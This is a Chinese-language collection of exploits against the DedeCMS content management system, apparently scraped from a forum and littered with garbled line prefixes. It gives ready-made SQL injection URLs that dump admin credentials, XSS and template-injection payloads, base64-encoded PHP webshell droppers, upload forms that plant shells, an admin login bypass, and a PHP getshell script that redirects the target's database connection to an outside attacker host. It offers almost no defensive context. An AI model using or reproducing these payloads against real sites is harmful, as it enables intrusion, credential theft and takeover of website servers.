dedecms漏洞总结

admin

Dedecms 5.6 rss注入漏洞
http://www.test.com/plus/rss.php?tid=1&_Cs[][1]=1&_Cs[2))%20AND%20%22%27%22%20AND%20updatexml%281,%28SELECT CONCAT%280x5b,uname,0x3a,MID%28pwd,4,16%29,0x5d%29%20FROM%20dede_admin%29,1%29%23'][0]=1
9 c* b, Y3 }  u8 I, y

- K! l- f$ d0 w$ P$ |, v) }
/ i: D5 [3 ^1 f% h: U& Z/ ?7 R
2 H% |; |: s) K( P" g+ [



- o6 ?, E/ ]2 R0 c3 D8 PDedeCms v5.6 嵌入恶意代码执行漏洞
6 S1 u$ n: r/ D2 z) E注册会员，上传软件：本地地址中填入 a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}
, `; n% E# O: [" T7 q5 W发表后查看或修改即可执行
0 T' p  H+ d8 _+ F0 G# c/ xa{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
生成x.php 密码xiao，直接生成一句话。

1 k6 ~& e& O: O
. O$ N. b# P4 ?% O: W0 ^) [

: t0 X3 c" \3 A
1 F0 C$ [( ~9 x+ i2 ~
2 E: E& w; z- E" ?- ~

5 {9 {. z2 Y  A; qDede 5.6 GBK SQL注入漏洞
http://www.test.com//member/index.php?uid=''%20||%20''''%20||%20''%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7'';
http://www.test.com//member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7WFXSSProbe
http://www.test.com/member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7


- G7 s. D4 ~/ V. C4 g! O. }' b
( v2 M) `8 F/ i( i( K0 I: r+ d: ]




DedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
http://www.test.com/plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`


# s5 x/ _' ~* f# m' K! F



) E9 M& r  E, l" v! |9 S' M+ MDEDECMS 全版本 gotopage变量XSS漏洞
. c* Q: _8 e- B7 r1.复制粘贴下面的URL访问，触发XSS安装XSS ROOTKIT,注意IE8/9等会拦截URL类型的XSS漏洞，需关闭XSS筛选器。
  a- x) w8 s& F* ~1 Fhttp://v57.demo.dedecms.com/dede/login.php?gotopage="><script>eval(String.fromCharCode(80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,61,39,34,62,60,115,99,114,105,112,116,62,97,108,101,114,116,40,47,120,115,115,32,114,111,111,116,107,105,116,33,47,41,60,47,115,99,114,105,112,116,62,60,120,61,34,39,59,32,13,10,118,97,114,32,100,97,116,101,61,110,101,119,32,68,97,116,101,40,41,59,13,10,118,97,114,32,101,120,112,105,114,101,68,97,121,115,61,51,54,53,59,32,13,10,100,97,116,101,46,115,101,116,84,105,109,101,40,100,97,116,101,46,103,101,116,84,105,109,101,40,41,43,101,120,112,105,114,101,68,97,121,115,42,50,52,42,51,54,48,48,42,49,48,48,48,41,59,13,10,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61,39,103,111,116,111,112,97,103,101,61,39,43,80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,43,39,59,101,120,112,105,114,101,115,61,39,43,100,97,116,101,46,116,111,71,77,84,83,116,114,105,110,103,40,41,59,13,10,97,108,101,114,116,40,39,88,115,115,32,82,111,111,116,107,105,116,32,73,110,115,116,97,108,108,32,83,117,99,99,101,115,115,102,117,108,32,33,33,33,33,39,41,59))</script><x="


" |3 K6 C3 g" [2.关闭浏览器，无论怎么访问下面的任意URL，都会触发我们的XSS。
$ L9 c  z; H0 L9 K9 hhttp://v57.demo.dedecms.com/dede/login.php?gotopage=dasdasdasda
0 R! ]1 W/ t3 u) q9 e5 X, C
  x; L# g; M( V9 A% ]) {3 q. v
http://v57.demo.dedecms.com/dede/login.php
' k+ m: ^  d5 o* C6 `) f
: C! I; e- z0 R; H. q6 q3 ^% L+ [0 J
color=Red]DeDeCMS(织梦)变量覆盖getshell
. `! K# |8 K* M, v#!usr/bin/php -w
1 d9 O! [2 ]/ n# G! H3 p<?php
error_reporting(E_ERROR);
set_time_limit(0);
print_r('
DEDEcms Variable Coverage
Exploit Author: www.heixiaozi.comwww.webvul.com
& k1 r3 T2 U! F0 c, \+ w' S3 L);
$ F4 d: [  P) r2 g. becho "\r\n";
if($argv[2]==null){
$ j, b& q5 y- H8 C0 M5 Zprint_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' url aid path
" A( |- t6 }& n, f. `* ~, Said=1 shellpath /data/cache aid=2 shellpath= / aid=3 shellpath=/plus/
; o6 Q. s& u& R/ xExample:
php '.$argv[0].' www.site.com 1 old
+---------------------------------------------------------------------------+
');
exit;
}
4 I8 A4 i' h# H; X. R$url=$argv[1];
$aid=$argv[2];
* Z  m/ T" b+ J' |% k5 x$path=$argv[3];
, G) w: D( R$ q! {) O# y$ {9 `6 Q$exp=Getshell($url,$aid,$path);
if (strpos($exp,"OK")>12){
" l2 W9 s4 {1 Z& @4 {) jecho "
+ l* O  p  I& y8 G0 ]Exploit Success \n";
if($aid==1)echo "
! q# U1 X$ N% y8 `( A* BShell:".$url."/$path/data/cache/fuck.php\n" ;


5 R; Q% s; ?) n6 }1 cif($aid==2)echo "
Shell:".$url."/$path/fuck.php\n" ;


% Z( E' {  {. t7 ]3 b3 I, d: Oif($aid==3)echo "
. n" d& i6 g( S3 I6 U( Z6 J6 v/ rShell:".$url."/$path/plus/fuck.php\n";


}else{
echo "
5 Q  Z! ?; {3 y* a8 n3 {! M2 J0 b& JExploit Failed \n";
, Q6 i. E5 \& |}
function Getshell($url,$aid,$path){
$id=$aid;
& p$ k$ z! z% V+ Z" [& ^7 ]! b$ u. ?$host=$url;
4 j! y, p, r1 T4 Y, T  h$port="80";
$content ="doaction=http%3A%2F%2F$host%2Fplus%2Fmytag_js.php%3Faid%3D1&_COOKIE%5BGLOBALS%5D%5Bcfg_dbhost%5D=184.105.174.114&_COOKIE%5BGLOBALS%5D%5Bcfg_dbuser%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbpwd%5D=90sec&_COOKIE%5BGLOBALS%5D%5Bcfg_dbname%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbprefix%5D=dede_&nocache=true&QuickSearchBtn=%CC%E1%BD%BB";
$data = "POST /$path/plus/mytag_js.php?aid=".$id." HTTP/1.1\r\n";
$data .= "Host: ".$host."\r\n";
" K, J% A2 {. m/ g# {7 P' V. {" a2 s$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
8 W# `; ]7 j# J  E7 e$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
$data .= "Accept-Language: zh-cn,zh;q=0.5\r\n";
//$data .= "Accept-Encoding: gzip,deflate\r\n";
9 z! D1 \; y" w- t$data .= "Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7\r\n";
$data .= "Connection: keep-alive\r\n";
$data .= "Content-Type: application/x-www-form-urlencoded\r\n";
0 j  G8 Z& P# N9 B7 h$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
) R! r5 o4 E$ v, {5 J: i3 |$data .= $content."\r\n";
- i( G$ L: k( q' h$ock=fsockopen($host,$port);
9 Y. b: r, R, t" eif (!$ock) {
echo "
No response from ".$host."\n";
}
# f% W8 q1 I9 h% W6 h9 W4 Ufwrite($ock,$data);
9 G9 I6 Q& d/ _% C* ~2 _9 Fwhile (!feof($ock)) {
' D0 Z. }- k# S$exp=fgets($ock, 1024);
( N+ |* q' x0 i1 B: A" Oreturn $exp;
}
}


8 y9 `' e, O# a& @3 y" Y?>
% m' {3 A7 g$ f# t

; i- \* g" Y' _! R/ |7 T
: r5 U7 l& m  C( N+ `% F
+ \2 P( U  g8 a( L* a' }0 J( o

6 c: P& @5 @- [9 N6 u3 v0 H+ E

1 K; ^: a9 C/ T2 s

DedeCms v5.6-5.7 越权访问漏洞(直接进入后台)
4 [% t. W3 s( w3 w* I, mhttp://www.ssvdb.com/织梦网站后台/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root

+ b* o/ t$ ^6 b8 Y
把上面validate=dcug改为当前的验证码，即可直接进入网站后台


$ Q2 @' z9 V. z此漏洞的前提是必须得到后台路径才能实现
8 W) x  f' D/ e, L8 U
  M5 f' u" y7 W/ c* L5 y5 t$ ?


. P. D9 o' D  T

: ~! q  y6 ~4 K& O: K

* f1 I1 X" X; P1 h+ [
) x* O( K4 S( ]1 l
Dedecms织梦 标签远程文件写入漏洞
$ E, L/ C2 Y0 K# U* {- J) u9 ^前题条件，必须准备好自己的dede数据库，然后插入数据： insert into dede_mytag(aid,normbody) values(1,''{dede:php}$fp = @fopen("1.php", \''a\'');@fwrite($fp, \''\'');echo "OK";@fclose($fp);{/dede:php}'');

" `2 l' a8 ~# }9 N1 d7 w- y( ?
再用下面表单提交，shell 就在同目录下 1.php。原理自己研究。。。
<form action="" method="post" name="QuickSearch" id="QuickSearch">
<input type="text" value="http://www.tmdsb.com/plus/mytag_js.php?aid=1" name="doaction" style="width:400"><br />
<input type="text" value="dbhost" name="_COOKIE[GLOBALS][cfg_dbhost]" style="width:400"><br />
2 E* o1 W- h6 M2 g9 }" T<input type="text" value="dbuser" name="_COOKIE[GLOBALS][cfg_dbuser]" style="width:400"><br />
<input type="text" value="dbpwd" name="_COOKIE[GLOBALS][cfg_dbpwd]" style="width:400"><br />
! Q1 P! q/ [7 g  l- z/ x<input type="text" value="dbname" name="_COOKIE[GLOBALS][cfg_dbname]" style="width:400"><br />
, ]( y7 B9 h- P3 i<input type="text" value="dede_" name="_COOKIE[GLOBALS][cfg_dbprefix]" style="width:400"><br />
<input type="text" value="true" name="nocache" style="width:400">
<input type="submit" value="提交" name="QuickSearchBtn"><br />
5 k3 M* o7 O7 V& e</form>
<script>
function addaction()
( Q" L' n- k* Q( X{
document.QuickSearch.action=document.QuickSearch.doaction.value;
% k$ n" u, G) y8 I) a. }3 F}
- a, t* K3 p& J. Q</script>
; Z5 V: t6 E: D4 @, u4 b


' G+ P/ @( }0 _; Q8 q# N
: }* ]! _3 r! S& j" p

& r/ O$ O* m7 i2 M) y7 G

2 }* U& R3 J6 z8 b/ T% e6 C  w

- G9 q+ Y* B/ y' d; |4 UDedeCms v5.6 嵌入恶意代码执行漏洞
注册会员，上传软件：本地地址中填入a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}，发表后查看或修改即可执行
, n, |( R4 T! ia{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
生成x.php 密码：xiao直接生成一句话。密码xiao 大家懂得
Dedecms <= V5.6 Final模板执行漏洞
注册一个用户，进入用户管理后台，发表一篇文章，上传一个图片，然后在附件管理里，把图片替换为我们精心构造的模板，比如图片名称是：
uploads/userup/2/12OMX04-15A.jpg
7 Y, C9 T9 W" g) i$ n6 F9 U
2 _- E7 S" P9 Y
模板内容是（如果限制图片格式，加gif89a）：
{dede:name runphp='yes'}
$fp = @fopen("1.php", 'a');
@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[cmd])'."\r\n\r\n?".">\r\n");
" t: K8 o: N7 j  s) _4 v1 J9 i* S" ?@fclose($fp);
$ A* h4 _. I# g{/dede:name}
2 修改刚刚发表的文章，查看源文件，构造一个表单：
<form class="mTB10 mL10 mR10" name="addcontent" id="addcontent" action="http://127.0.0.1/dede/member/article_edit.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="dopost" value="save" />
2 z$ z9 u, ^, u5 z  Q; x<input type="hidden" name="aid" value="2" />
5 J/ E5 X: P: ?8 p  j, P<input type="hidden" name="idhash" value="f5f682c8d76f74e810f268fbc97ddf86" />
3 U7 C8 `' Z1 X, k4 m5 ]& K<input type="hidden" name="channelid" value="1" />
<input type="hidden" name="oldlitpic" value="" />
0 q+ w$ r! `& f! M& r<input type="hidden" name="sortrank" value="1275972263" />
1 x/ O. p: t" f* w+ M

6 q  R0 v' x1 d: R1 r. ]<div id="mainCp">
<h3 class="meTitle"><strong>修改文章</strong></h3>


% ^8 s" a6 Z! W8 S' O<div class="postForm">
<label>标题：</label>
<input name="title" type="text" id="title" value="11233ewsad" maxlength="100" class="intxt"/>

8 b  Y, o4 F  J8 E8 H4 F6 J
<label>标签TAG：</label>
  T5 X, D8 P5 B: ?4 u" d; W& u<input name="tags" type="text" id="tags" value="hahah,test" maxlength="100" class="intxt"/>(用逗号分开)
* e& G, R& n; x% o! T

<label>作者：</label>
5 z7 b3 h$ O/ v5 V" t. f0 N' j& P<input type="text" name="writer" id="writer" value="test" maxlength="100" class="intxt" style="width:219px"/>

: Z: }& k8 e; A, g/ K+ S
  o3 C* _& V& s2 x: W( j- ]<label>隶属栏目：</label>
0 M% e: E. S3 \1 C( |% b<select name='typeid' size='1'>
: L/ R! \! ^0 |) q2 {<option value='1' class='option3' selected=''>测试栏目</option>
. p8 g- x5 V3 }+ R5 a</select> <span style="color:#F00">*</span>(不能选择带颜色的分类)
  l/ b4 n: N7 _1 H: Q5 Q

<label>我的分类：</label>
<select name='mtypesid' size='1'>
<option value='0' selected>请选择分类...</option>
1 y6 ?  P# N0 I' E3 o$ A" r<option value='1' class='option3' selected>hahahha</option>
' F) u/ @( C) S0 P* y+ t% Z& x</select>

* }7 ~8 m# x1 t' }" l6 Q1 y9 O
; Y" J6 K$ z2 y! X6 P  ?+ O3 H<label>信息摘要：</label>
<textarea name="description" id="description">1111111</textarea>
. ^) R# k( B& s4 y& [(内容的简要说明)
2 w, a3 y6 B+ G- i

# ]" g- K5 C4 X# Y. ]; d; M0 G<label>缩略图：</label>
<input name="litpic" type="file" id="litpic" maxlength="100" class="intxt"/>
/ Z+ O) b% X& j+ s3 @) V
/ B+ ^! e, O) \( N
( ?# R, E* q8 N3 i4 h* k' N- Y. a<input type='text' name='templet'
" c6 X2 \, U6 g+ v: h2 p5 Tvalue="../ uploads/userup/2/12OMX04-15A.jpg">
1 e; g" c0 X# D0 E5 n<input type='text' name='dede_addonfields'
# e2 R6 ]* K' m* bvalue="templet,htmltext;">（这里构造）
</div>
& j% j) @/ Y) [) T9 I' z
8 b- c6 x  k' _8 U7 ~5 f* [
: b5 R; z8 @9 [& j<!-- 表单操作区域 -->
<h3 class="meTitle">详细内容</h3>

6 a# F" v/ L; X( v' [& V3 W. R: W
" n- b7 O8 u( k# R<div class="contentShow postForm">
$ [, A( e- Y1 u" c. ]<input type="hidden" id="body" name="body" value="<div><a href="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" target="_blank"><img border="0" alt="" src="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" width="1010" height="456" /></a></div> <p><?phpinfo()?>1111111</p>" style="display:none" /><input type="hidden" id="body___Config" value="FullPage=false" style="display:none" /><iframe id="body___Frame" src="/dede/include/FCKeditor/editor/fckeditor.html?InstanceName=body&Toolbar=Member" width="100%" height="350" frameborder="0" scrolling="no"></iframe>


! D* J7 C. S8 Q% V3 M/ U4 X<label>验证码：</label>
# M' l8 c' S- s& g4 L+ b$ I& O<input name="vdcode" type="text" id="vdcode" maxlength="100" class="intxt" style='width:50px;text-transform:uppercase;' />
<img src="http://127.0.0.1 /dede/include/vdimgck.php" alt="看不清？点击更换" align="absmiddle" style="cursor:pointer" />
/ ]5 Y( F& p% P" [: |5 ]1 v
1 S0 P& y1 k  S+ W
4 L% |# U5 r7 t7 |! D<button class="button2" type="submit">提交</button>
<button class="button2 ml10" type="reset">重置</button>
/ k/ T, b1 Q4 s2 i</div>
6 F% _1 h! L8 ^4 m+ I* a2 Z
5 J' }9 Z- r/ v7 w1 ?3 i; S) L
</div>

, @* l" Z3 R  h
8 w" V# ^. q: ]: A4 ]# ?! D8 M</form>

; N& H' b0 C- u; }
提交，提示修改成功，则我们已经成功修改模板路径。 3 访问修改的文章：
/ p, G( _2 m; I/ O( l' e假设刚刚修改的文章的aid为2，则我们只需要访问：
http://127.0.0.1/dede/plus/view.php?aid=2
即可以在plus目录下生成webshell：1.php


, ?6 Q  v& r4 A; N



& H- _; i, R  Q7 z7 Q, n8 |5 [


" Y5 G9 y# D2 O1 x! r& j. N
9 s: c3 l4 R$ H0 r8 u
, i# }+ x% J9 i( ^3 z$ \
DEDECMS网站管理系统Get Shell漏洞(5.3/5.6)
3 ^; V$ O( P% ~9 T+ ]4 ~Gif89a{dede:field name='toby57' runphp='yes'}
phpinfo();
{/dede:field}
保存为1.gif
6 d$ Q* z. g( y) _6 E) |<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/uploads_edit.php" method="post" enctype="multipart/form-data" ">
<input type="hidden" name="aid" value="7" />
<input type="hidden" name="mediatype" value="1" />
<input type="text" name="oldurl" value="/DedeCmsV5.6-GBK-Final/uploads/uploads/userup/3/1.gif" /></br>
: Z) S3 z' g- |! p<input type="hidden" name="dopost" value="save" />
<input name="title" type="hidden" id="title" value="1.jpg" class="intxt"/>
& W; e9 \$ C! I<input name="addonfile" type="file" id="addonfile"/>
  V/ j+ C0 U! e! G4 X" T<button class="button2" type="submit" >更改</button>
</form>
% a6 u* p  [4 E4 a  B% o' ^

构造如上表单，上传后图片保存为/uploads/userup/3/1.gif
发表文章，然后构造修改表单如下：


: k, i9 o9 q. ^6 }4 t3 \  a: \/ }<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/article_edit.php" method="post" enctype="multipart/form-data">
  \5 ]5 Z! W+ c$ p, P<input type="hidden" name="dopost" value="save" />
<input type="hidden" name="aid" value="2" />
<input type="hidden" name="idhash" value="ec66030e619328a6c5115b55483e8dbd" />
<input type="hidden" name="channelid" value="1" />
! e, Z" ?% ]; L! b3 B3 |- b( N; i4 F<input type="hidden" name="oldlitpic" value="" />
9 O: B6 ?& P' o: @, ~" i( o$ F<input type="hidden" name="sortrank" value="1282049150" />
- w; ^; s" q% e0 H0 ?<input name="title" type="text" id="title" value="aaaaaaaaaaaaaaa" maxlength="100" class="intxt"/>
* V  U+ [: N% f1 O0 _5 q: |5 A<input type="text" name="writer" id="writer" value="123456" maxlength="100" class="intxt" style="width:219px"/>
<select name='typeid' size='1'>
<option value='1' class='option3' selected=''>Test</option>
6 m5 ~5 h8 r* \, j" L<select name='mtypesid' size='1'>
$ V  T/ |1 v$ i1 ]3 ?( ?+ ^<option value='0' selected>请选择分类...</option>
<option value='1' class='option3' selected>aa</option></select>
<textarea name="description" id="description">aaaaaaaaaaaaa</textarea>
2 b$ D; Y1 \3 y7 _5 `<input type='hidden' name='dede_addonfields' value="templet">
8 j0 e: K2 h% ]8 n: ^; k. v<input type='hidden' name='templet' value="../uploads/userup/3/1.gif">
9 Q' [( w% K4 L$ S# `1 o) j<input type="hidden" id="body" name="body" value="aaaa" style="display:none" />
' b' e& k) W# p0 i; n1 D" J; B<button class="button2" type="submit">提交</button>
</form>

0 _; S* u7 H% F6 g( O

, p6 o2 I8 ?4 ~( F. a0 I" p
6 H! h/ p- j1 u4 ]
; U& K$ s5 i+ C9 i" V
% N0 E$ I2 w( r- D, n
6 O/ k* v9 A* F: S" N




  m& c$ u& W. B- m) }9 D织梦(Dedecms)V5.6 远程文件删除漏洞
0 z9 L- q. d1 h, vhttp://test.com/member/edit_face.php?dopost=delold&oldface=/uploads/userup/8/../../../member/templets/images/m_logo.gif
$ I2 Q: U8 |) Z& b
# K3 o0 j! j8 l5 W, m
) g8 f7 h5 X/ }/ O- q


2 c4 Z9 U% x9 t& A/ {& j
- {( V' m- K4 J7 l3 A! E  x


1 ^1 q/ E. |# L7 \, X
% Y$ F- H1 T1 s# x2 Y6 l* Q织梦(Dedecms) V5.6 plus/carbuyaction.php 本地文件包含漏洞
# w- R* w' R' b. g* zhttp://www.test.com/plus/carbuya ... urn&code=../../

+ K5 G* W; j9 V% g; {- h) m
! Z. `( X: W# s
' n8 I5 ~* B) z: `

$ p$ e& j! F) Z
& H  g( @; K' V; H; K2 g& P3 A

% V5 r: u) E- Y6 c  g+ N$ n

DedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
: {3 x- b# H4 k2 pplus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
密码是32位MD5减去头5位，减去尾七位，得到20 MD5密码，方法是，前减3后减1，得到16位MD5
% R$ Y& H% h3 [" a
. V% w& z0 t) F8 j( Z
8 [/ l1 d- s, m. \% P9 C$ N; ~. [8 m



7 k/ }: H. [$ v) S. g+ ]

, n6 {! `2 S% N* ?1 D
% s3 Q. p3 A3 o8 s( a
织梦(Dedecms) 5.1 feedback_js.php 注入漏洞
http://st0p/dedecms51/plus/feedback_js.php?arcurl=' union select "' and 1=2 union select 1,1,1,userid,3,1,3,3,pwd,1,1,3,1,1,1,1,1 from dede_admin where 1=1 union select * from dede_feedback where 1=2 and ''='" from dede_admin where ''='
7 M  y# n8 t: S& k/ D6 x3 ]
6 U- z# T4 Z" U1 M6 J


* j4 `3 u' u1 U1 |- ]

7 x, i% Y6 F  Y

; Z, K5 `/ N5 O
% M4 ]6 u) O) X0 m) C8 s) \
" s5 h% T, G  q: K1 L织梦(Dedecms)select_soft_post.php页面变量未初始漏洞
<html>
<head>
# n% ]- ?1 t( z<title>Dedecms v55 RCE Exploit Codz By flyh4t</title>
</head>
<body style="FONT-SIZE: 9pt">
---------- Dedecms v55 RCE Exploit Codz By flyh4t---------- <br /><br />
! a; J$ p( @2 C" O, V: V<form action=http://www.nuanyue.com/uploads/include/dialog/select_soft_post.php method='POST' enctype="multipart/form-data" name='myform'>
( Q- z/ w* a) x( Q& C<input type='hidden' name='activepath' value='/data/cache/' />
6 C( Q# V6 K5 \  }! s<input type='hidden' name='cfg_basedir' value='../../' />
/ W1 v3 T1 B. x4 {" E<input type='hidden' name='cfg_imgtype' value='php' />
<input type='hidden' name='cfg_not_allowall' value='txt' />
<input type='hidden' name='cfg_softtype' value='php' />
  Y5 ]! w  H1 m; G5 j<input type='hidden' name='cfg_mediatype' value='php' />
<input type='hidden' name='f' value='form1.enclosure' />
<input type='hidden' name='job' value='upload' />
+ I. @2 B0 P4 H8 r, \& l3 G1 X<input type='hidden' name='newname' value='fly.php' />
Select U Shell <input type='file' name='uploadfile' size='25' />
; L8 p7 d0 W2 h5 e( N  k9 f<input type='submit' name='sb1' value='确定' />
</form>
- v; V* m8 _% p' q<br />It's just a exp for the bug of Dedecms V55...<br />
7 L3 _" K+ g/ V( ?: u, @Need register_globals = on...<br />
Fun the game,get a webshell at /data/cache/fly.php...<br />
</body>
</html>
& T3 _! F2 r/ n  n
: B- A, O' r2 a' o$ I



7 W' j# q& ^% t: [" O" f( m

, g* I. Z: y5 ]4 s  l! o6 R
- V+ S- U% p7 v/ S2 u# P
# m8 m( O& g/ x! I! v; L2 d- H, B6 t
织梦(dedecms)5.3 – 5.5 plus/digg_frame.php 注入漏洞
利用了MySQL字段数值溢出引发错误和DEDECMS用PHP记录数据库错误信息并且文件头部没有验证的漏洞。
1. 访问网址：
http://www.abc.com/plus/digg_fra ... 024%651024&mid=*/eval($_POST[x]);var_dump(3);?>
+ s* r7 f) Y8 X; F+ R$ s* z可看见错误信息
) P; j4 a# s/ G5 E& u, Z; W, l, B

2. 访问 http://www.abc.com/data/mysql_error_trace.php 看到以下信息证明注入成功了。
6 D" C  Q/ d9 T* oint(3) Error: Illegal double '1024e1024' value found during parsing
Error sql: Select goodpost,badpost,scores From `gxeduw_archives` where id=1024e1024 limit 0,1; */ ?>
. m/ w: ?$ H5 F! I# R6 i2 L

' p$ Y: b+ ]8 _/ t! s. u  E  i( m3. 执行dede.rar里的文件 test.html，注意 form 中 action 的地址是
8 m+ E/ z3 t+ x1 K/ S, e: q1 Q; d

! Z$ d5 Q; M2 |5 J3 R: [<form action=”http://www.abc.com/data/mysql_error_trace.php” enctype=”application/x-www-form-urlencoded” method=”post”>


* U+ F2 R9 e. q2 u按确定后的看到第2步骤的信息表示文件木马上传成功.


, _$ V7 z* h# J




8 i/ ~8 X5 u# [
5 U$ z* {: \: D* Y( S% c


* o! Q0 w4 p% S  V/ n! {. {. k
5 ^' T& u1 `3 J/ a8 J/ c* A! O织梦(DedeCms)plus/infosearch.php 文件注入漏洞
http://localhost/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,userid,4,pwd,6%20from%20dede_admin/*